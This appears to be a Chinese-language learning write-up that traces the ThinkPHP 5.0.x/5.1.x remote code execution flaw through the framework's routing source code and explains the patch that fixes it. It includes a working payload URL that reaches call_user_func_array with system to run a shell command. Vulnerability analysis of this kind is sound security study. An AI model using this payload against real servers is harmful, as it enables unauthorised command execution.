第一次進行代碼量這麼大的分析,記錄一下,個人感覺新手真的不適應這種,應該找點小一點的cms去分析,如果不懂MVC架構真的可能會懵。。。
前言
在分析這個之前還看了兩篇tp5的RCE漏洞,這兩個洞都是很相似的,都是利用一個可控的變量dispatch去實現到最後還是構造出回調函數,可以學習一下,感覺這裏面的思路就是本文分析漏洞的來源
我這裏已tp 5.0.22爲例子,環境是phpstudy搭建的
補丁
影響版本
THINKPHP 5.0.5-5.0.22
THINKPHP 5.1.0-5.1.30
5.0.x補丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
5.1.x補丁地址:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
漏洞分析
補丁中加了正則限制了控制器的自定義初始化
payload:
localhost/tp52/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
根據補丁下的點,動態跟蹤一下是否是因爲controller沒有做好過濾而實體化,確實是如此
根據傳進去的payload,控制器以及下面的方法都會發生對應的變化,下面就可以分析一下攻擊鏈的流程
可以從入口文件一級一級跟蹤,進入到App.php
中,這裏應該涉及到一個開發的知識,在App.php
中,會根據請求的URL調用routeCheck
進行調度解析在App.php
中,會根據請求的URL調用routeCheck
進行調度解析獲得到$dispatch
,所以payload是一定要經過那裏的,可以在那裏加斷點進行調試
定位到/thinkphp/library/think/App.php:116
$dispatch = self::$dispatch;
// 未設置調度信息則進行 URL 路由檢測
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// 記錄當前調度信息
$request->dispatch($dispatch);
......
$data = self::exec($dispatch, $config);//這個函數很關鍵
繼續跟進routeCheck
這個函數,同樣在App.php裏面
繼續跟進到path
方法裏面,然後這裏有一個pathinfo()函數,繼續跟進
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止僞靜態訪問
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL後綴
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允許任何後綴訪問
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
Config::get('var_pathinfo')
是配置文件中的設置的參數,默認值爲s
,怎麼找到這個變量?可以全局搜索一下,可以搜索到其中一個配置文件裏面有
從GET中獲取鍵值,然後賦值給routeCheck
中的$path
,這裏也就是index/think\app/invokefunction
。
然後開始進入路由檢測的部分,經過check的檢查後會進入else的分支,但這一部分對於我們需要控制的變量沒有任何影響,關鍵是$result
以及$must
這兩個變量的賦值結果,這也是導致了後面操作的關鍵,可以進入Route::parseUrl
函數
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由檢測
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 開啓路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 讀取路由緩存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 導入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}
// 路由檢測(根據路由定義返回不同的URL調度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由無效
throw new RouteNotFoundException();
}
}
// 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}
跟進Route::parseUrl
函數
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{
if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模塊/控制器綁定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
....
return ['type' => 'module', 'module' => $route];
}
再跟進一下parseUrlPath()
,這裏面就是返回一個$path變量,對包含模塊/控制器/操作
的URL進行分割成數組進行返回
回到上一層的函數中,繼續跟進,可以發現在自動搜索控制器的判斷中進入了else語句,從而爲控制器進行了賦值,這裏是個賦值點,很關鍵
然後以$route變量返回上層run函數
此時dispatch 裏面是一個以module爲名字的數組,所以進入exec函數中必將進入分支爲module的模塊,然後進入self::module
函數
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳轉
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模塊/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
...............
}
return $data;
}
跟進self::module
函數,在進入多模塊部署後由於,bind的值爲null,會進入elseif的條件,使available的變量成爲true,這也是後面爲什麼可以順利初始化module的條件,不然就會拋出異常XD。
public static function module($result, $config, $convert = null)
{
if (is_string($result)) {
$result = explode('/', $result);
}
$request = Request::instance();
if ($config['app_multi_module']) {
// 多模塊部署
$module = strip_tags(strtolower($result[0] ?: $config['default_module']));
$bind = Route::getBind('module');
$available = false;
if ($bind) {
// 綁定模塊
list($bindModule) = explode('/', $bind);
if (empty($result[0])) {
$module = $bindModule;
$available = true;
} elseif ($module == $bindModule) {
$available = true;
}
} elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
$available = true;
}
// 模塊初始化
if ($module && $available) {
// 初始化模塊
$request->module($module);
$config = self::init($module);
// 模塊請求緩存檢查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
} else {
// 單一模塊部署
$module = '';
$request->module($module);
}
// 設置默認過濾機制
$request->filter($config['default_filter']);
// 當前模塊路徑
App::$modulePath = APP_PATH . ($module ? $module . DS : '');
// 是否自動轉換控制器和操作名
$convert = is_bool($convert) ? $convert : $config['url_convert'];
// 獲取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;
// 獲取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
if (!empty($config['action_convert'])) {
$actionName = Loader::parseName($actionName, 1);
} else {
$actionName = $convert ? strtolower($actionName) : $actionName;
}
// 設置當前請求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);
// 監聽module_init
Hook::listen('module_init', $request);
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
// 獲取當前操作名
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 執行操作方法
$call = [$instance, $action];
// 嚴格獲取當前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);
} elseif (is_callable([$instance, '_empty'])) {
// 空操作
$call = [$instance, '_empty'];
$vars = [$actionName];
} else {
// 操作不存在
throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
}
Hook::listen('action_begin', $call);
return self::invokeMethod($call, $vars);
}
繼續跟進的就是我在文章一開頭說的內容,controller變量就被賦值,然後獲得方法名字,開始請求這個方法
最後還是返回了這個方法
return self::invokeMethod($call, $vars);
$call變量是個數組,裏面包含了控制器以及操作,可以追蹤裏面的變量變化
然後通過ReflectionMethod
方法去構造一個映射,反正就把他當成平常一個類去調用某個方法,接着就把剩餘的url的剩餘內容賦值給args,最後調用invokefunction
函數,這個函數也類似回調函數,所以就會把&function=call_user_func_array&vars[0]=system&vars[1][]=dir
傳進invokefunction
這個方法裏面。
可以看到裏面args裏面的內容結構,裏面包含了多個數組
繼續跟進的話,你會發現這個函數跟上面跟進的函數的套路一模一樣,也是利用了回調的效果,也是利用一個變量把system後面的內容返回給call_user_func_array
,只不過這次可以直接調用call_user_func_array
了,相當於call_user_func_array("system","dir")
了
補丁後的效果
再來觀察一下加上補丁的走向,直接就會進入拋出異常的步驟,只要匹配到不是字母開頭的控制器的話直接進入異常,有效避免利用命名空間構造攻擊鏈
小結
- 這個攻擊鏈的構造,還是概念模糊,如果真正構造的時候需要怎麼去做?這裏只是根據別人的payload去分析代碼,分析它的攻擊過程,個人感覺真正核心的東西沒掌握,也有可能看得多就會了???XD因爲這個東西不只是這個模塊可以如此調用,還有其他模塊也有同樣的效果,這也比較考驗對該框架的熟悉程度,多接觸開發還是很好的。
- 看了好幾篇文章,發現這幾個都是差不多從路由的檢測開始跟進,其實想想也對,畢竟payload從url中來,跟進某函數跟到底了再返回,有可能這是一種套路,先記下來。。。
- 我也是第一次審計這種東西,畢竟ThinkPHP 5.0.x 的代碼執行漏洞,從漏洞技術含量和利用鏈構造上來看,算是2018年一個很牛的洞了,對我這種菜雞,學習到就好。